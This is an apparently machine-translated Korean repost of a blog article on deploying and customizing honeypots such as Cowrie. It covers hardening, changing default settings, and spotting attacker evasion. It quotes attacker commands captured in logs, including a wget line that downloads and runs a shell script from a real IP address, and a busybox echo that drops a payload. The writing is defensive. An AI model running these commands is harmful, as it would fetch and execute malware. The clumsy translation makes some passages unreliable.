꿀단지 배치와 맞춤형 제작
이 글의 확장판과 상응하는 강연은 Virus Bulletin 2020에서 찾을 수 있다.
데이터 수집의 첫걸음이자 가장 중요한 걸음은 꿀단지를 배치하는 것이다.용례에 따라 여러 가지 함정과 건의가 고려되어야 한다.성공적으로 배치된 후 다음 단계는 하나의 데이터 수신기에서 생성된 데이터와 가능한 유효 부하를 수집하여 지표를 생성하고 전체 인프라 시설을 감시하는 것이다.
배포 고려 사항
꿀단지를 배치할 때 두 가지 주요 장면을 고려해야 한다. 그것이 바로 내부 배치와 인터넷을 향한 배치이다.둘 다 효과적인 장면이지만 서로 다른 용례를 포함한다.본고의 나머지 부분에서 만약에 더 이상의 정의가 없다면 우리는 인터넷을 대상으로 하는 데이터 수집 배치를 중점적으로 토론할 것이다.
내부 배치에서 꿀단지는 함정이나 경보 시스템으로 볼 수 있다.회사 전체에 인프라를 배치하고 생산 서버 근처에 배치하는 것이 좋다는 생각이다.만약 공격자가 네트워크에서 발판을 찾고 있다면, 그들은 우연히 이러한 전략적 배치 시스템을 발견하고, 그것들을 사용하여 방문을 유지하려고 시도할 것이다.이상적인 상황에서 이 꿀단지들은 전송 연결이 검출될 때 경보를 발령하는 것으로 설정되어 있는데, 왜냐하면 일상적인 조작에서 합법적인 용도가 없기 때문이다.이 장면은 침입 탐지 시스템이나 로그 감시 등 기존의 조치를 지원하여 주동적인 구성 요소로서 침입자를 조기 탐지할 기회를 증가시킬 수 있다.
다른 한편, 인터넷을 대상으로 하는 배치는 광범위한 공격에 관한 데이터를 수집하는 데 더욱 적합하다.이러한 정보는 공격을 받은 서비스(즉 공격과 안드로이드 디버깅 다리의 대비가 얼마나 흔한가)나 사용된 증거, 그리고 상세한 TTP 정보(어떤 명령/스크립트를 실행했는지, 시도된 가로 이동, 지속성 기술과 가능한 회피 시도 등)를 포함한다.내부 배치와 달리 이런 배치는 전 세계 데이터의 영향을 자주 받는다.그래서 그들은 항상 타협적이라고 여겨진다.이러한 배치는 내부 네트워크에 직접적인 보호를 제공하지 않기 때문에 인터넷을 대상으로 하는 꿀단지와 생산 인프라를 완전히 분리하는 것을 권장한다.
이러한 세부 사항을 제외하고 우리는 모든 배치 장면에 대해 일반적인 건의를 얻어낼 수 있다.
이러한 시스템은 설계상 안전하지 않다고 여겨지기 때문에 그에 상응하는 처리를 권장한다.생산 데이터나 회사 정보를 위에 남기는 것은 바람직하지 않으며, 사용자 이름, 비밀번호, 인증서, SSH 키를 반복해서 사용하는 것도 바람직하지 않다.만약 공격자가 꿀단지에서 위탁 관리 운영체제로 성공적으로 탈출한다면 그들은 내부 인프라 시설과 활동 사용자 이름에 대한 가치 있는 정보를 얻을 수 있을 것이다.
또한 최소한의 권한을 가지고 sudo를 사용할 수 없는 비루트 사용자 신분으로 꿀단지 서비스를 실행하는 것을 강력히 권장합니다.꿀단지가 탈출하는 상황에서 공격자의 승급 권한은 상당히 어려워졌다.대부분의 아날로그 서비스는 권한을 향상시켜야 하는 시스템 포트 범위 내에서 실행되기 때문에 신중한 방법은 비시스템 포트에서 실행하고 IPtables 전송 규칙을 이용하여 시스템 포트에서 실행하는 것처럼 보이는 것이다.
SSH와 FTP 등 공공 서비스의 꿀단지가 배치되면 서비스의 기본 포트에서 실행되어야 한다.특히 대부분의 시스템의 SSH 접근 방식에 대해서는 실제 SSH 서버의 암호 인증과 루트 로그인을 사용하지 않고 비표준 포트에서 실행하여 꿀단지에 포트 22를 놓는 것을 권장합니다.즉, 유지 관리 또는 구성 변경 적용 시 SSH 허니에 예기치 않게 연결되지 않도록 로컬 구성에서 SSH 앨리어스를 생성하는 것이 좋습니다.
또 다른 고려 요소는 인프라 시설의 위탁 관리 서비스다.만약 그것이 회사가 보유하고 있는 인프라에 위탁되지 않는다면, 저급 VPS 공급자의 생각은 믿을 만하다.불행하게도 deadpooling scams의 상하문에서 이 시스템들은 쉽게 닫히기 때문에 수시로 이 시스템들을 방출할 준비를 하는 것은 가치가 있다.일반적으로 Ansible이나 Puppet 등의 도구를 기반으로 한 자동화 배치는 복제 가능한 결과에 사용되고 잘못된 설정의 위험을 낮춰야 한다.수집된 데이터, 로그, 유효 부하에 대한 백업 정책을 결합하면 데이터 분실의 복구 능력을 확보할 수 있다.
또한 꿀단지의 특정한 수요를 충족시키기 위해 운영체제 기반의 자원의 사용을 최대한 줄이는 것을 권장한다.예를 들어 시스템 범위의 소프트웨어 패키지를 사용하여 설치할 때 Python 기반의 프로젝트를 위해 로컬 가상 환경을 사용함으로써 여러 항목이 같은 언어에서 실행되거나 운영체제 업데이트를 할 때 의존성 문제가 발생하지 않도록 하고 의존성을 깨는 것을 고려해야 한다.
조작에 관해서는 이미 배치된 꿀단지의 일반적인 조작을 감시하고 저장 이용률을 포함하여 각자의 협의에 따라 자동화 테스트를 하는 것이 가장 좋다.
전반적으로 말하자면, 시스템을 취약해 보이는 세계에 노출시키는 것은 매우 취약할 수 있지만, 다른 면에서는 네가 상상하는 것처럼 그렇게 되지 않는다.꿀단지 배치, 특히 인터넷을 향한 배치는 비대칭적인 경쟁 환경으로 공격자의 우위를 가진다.그들은 무한한 방식과 시간을 가지고 공격을 시도한다. 운영자는 꿀단지 호스트와 주위의 네트워크를 공격에 노출시키는 실수를 범해야 한다.
배치를 제외하고는 더 많은 것을 고려해야 한다.공격자들은 꿀단지를 검출하기 위해 각종 기술과 다른 성공률을 끊임없이 시도하고 있다.Atalk detailing finding flaws and their implications was held at 32c3.다음 부분에서는 흔히 볼 수 있는 검측 기술과 가능한 해결 방법을 소개할 것이다.이것들은 단지 정확한 방향을 가리키는 지침일 뿐이다.꿀단지 인프라를 지속적으로 감시하고 특정 명령이나 작업 흐름 이후 항상 발생하는 연결을 끊는 것을 유의하는 것이 좋다. 왜냐하면 이것은 회피 전략을 가리키기 때문이다.
사용자 정의 구성
많은 꿀단지에는 호스트 이름, 서비스 버전, 자격 증명을 포함한 기본 아날로그 파라미터가 포함되어 있다.이것은 낮은 상호작용과 중간 상호작용의 꿀단지에서 특히 흔히 볼 수 있다.꿀단지가 배치된 환경에서 맞춤형 제작은 완화를 피하는 관건이다.
예를 들어, SSH 허니콤보를 고려했습니다.기본 설정이 변경되지 않으면 비밀번호
Richard
를 사용하여 사용자fout
를 받아들이고 시스템 이름svr04
을 발표합니다.이러한 기본 설정을 검사하는 것은 상대적으로 쉬워서 자주 발생한다.예방 조치로 꿀단지의 발자취는 가능한 한 맞춤형으로 만들어야 한다.특히 발표된 호스트 이름과 서비스 버전, 현수막은 변경할 수 있는 낮은 열매다.낮은 상호작용과 중간 상호작용의 꿀단지에 대해서도 효과적인 전략으로 아날로그 명령의 출력을 바꾸고 사용자 정의 파일 시스템pickle를 만들어서 시스템을 더욱 독특하게 할 수 있다.
도피 전술을 찾다
일반적인 건의로서 당신의 꿀단지를 세심하게 감시하십시오. 특히 배치 초기에는 꿀단지가 신선하고 알 수 없기 때문입니다.Cowrie의 경우 생성된 로그에서 회피 기술을 쉽게 발견할 수 있다.모든 상황에서 시스템의 명령 작업 흐름은 명령이 실패하거나 실행되지 않는 특정한 지점까지 동일하다.Cowrie SSH 허니콤에서 흔히 볼 수 있는 참가자 모드는 원본 스크립트를 파일에 다시 표시한 다음 실행을 시도하는 것입니다.
user@pot:~$ /bin/busybox echo -en '\x00\x00\x00\x00\xb4\x03\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' >> retrieve
user@pot:~$ ./retrieve
이것은 대부분의 낮은 상호작용과 중간 상호작용 꿀단지에서 작동하지 않는다. 왜냐하면 연결된 SSH 사용자가 만든 파일을 빨리 거부하기 때문이다.이 파일들은 현재 존재하지 않기 때문에 초기 유효 부하를 파일로 되돌려주고 그 다음에 상술한 파일을 실행하는 작업 흐름은 이 꿀단지에서 작용하지 않기 때문에 성공적인 회피라고 볼 수 있다.또 다른 흔히 볼 수 있는 회피 기술은 유효 부하를 다운로드하고 두 번째 명령에서 실행하는 것이다.앞에서 말한 바와 같이, 이러한 방법은 사용자가 실행할 때 이 파일을 다시 사용할 수 없기 때문에 성공적으로 회피할 수 있다.
user@pot:~$ cd /; wget http://45.148.10.175/bins.sh; chmod 777 bins.sh; sh bins.sh;
이 문제들의 완화 조치는 많지 않다.낮은 상호작용과 중간 상호작용 꿀단지의 본질 때문에 가장 실행 가능한 완화 조치는 높은 상호작용 시스템으로 전환하는 것이다.고교환 꿀단지는 전송 연결을 위해 완전하고 지속적인 환경을 제공하며, 다시 연결을 통해서도 이 연결은 보통 캐시된다.꿀단지에 뺏기지 않고 버리거나 다운로드하는 모든 유효 하중을 실행할 수 있다는 뜻이다.정신 검사
건강검진도 자주 받는다.초기 예로는 SMTP 허니를 사용하는 것이 좋습니다.공격자는 메일 서버에 연결을 시도하고 자신의 인프라 시설에 테스트 메일을 보내서 메일 서버가 출국 메일 흐름을 허용하는지 확인한다.
{
"timestamp": "2020-06-14T08:57:00.854855",
"src_ip": "0.0.0.0", "src_port": 54282, "eventid": "mailhon.data",
"envelope_from": "[email protected]", "envelope_to": ["[email protected] "],
"envelope_data": "From: [email protected]\r\nSubject: 42.42.42.42\r\n
To: [email protected]\r\nDate: Sat, 13 Jun 2020 23:56:59 -0700\r\nX-Priority: 3\r\n"
}
모든 연결된 첫 번째 메일이 꿀단지에서 벗어날 수 있도록 하는 것이 가능한 완화 조치이다.이 시스템은 기술적으로 스팸메일을 보내는 것이기 때문에 법적 의의가 있음을 주의하십시오.성숙한 생산 테스트 외에 관찰할 수 있는 건강 검사도 있다.일반적으로 배치된 꿀단지는 현실 세계의 꿀단지와 유사한 배치와 크기를 공개해야 한다.이것은 낮은 상호작용과 중간 상호작용 HPS에 쉽게 저장할 수 있다. 왜냐하면 그들은 보통 텍스트 파일을 찾아서 명령을 모의하기 때문에 집단 상태, 복사본 설정, 심지어 파일 시스템 크기에 대한 사기를 크게 간소화할 수 있다.
결론
보시다시피 꿀단지를 배치할 때 고려하고 검사해야 할 부분이 많습니다.하지만 걱정하지 마세요. 이 일은 틀림없이 보답이 있을 거예요.시스템에서 일어나는 일을 실시간으로 관찰하는 것은 매우 재미있다.하지만 로그를 보는 것은 그리 재미있지 않으니 제 다음 부분에 가입하여 관측과 시각화 데이터에 대한 상세한 정보를 알아보세요!
Reference
이 문제에 관하여(꿀단지 배치와 맞춤형 제작), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/mat_zilla/honeypot-deployment-and-customization-4i28텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)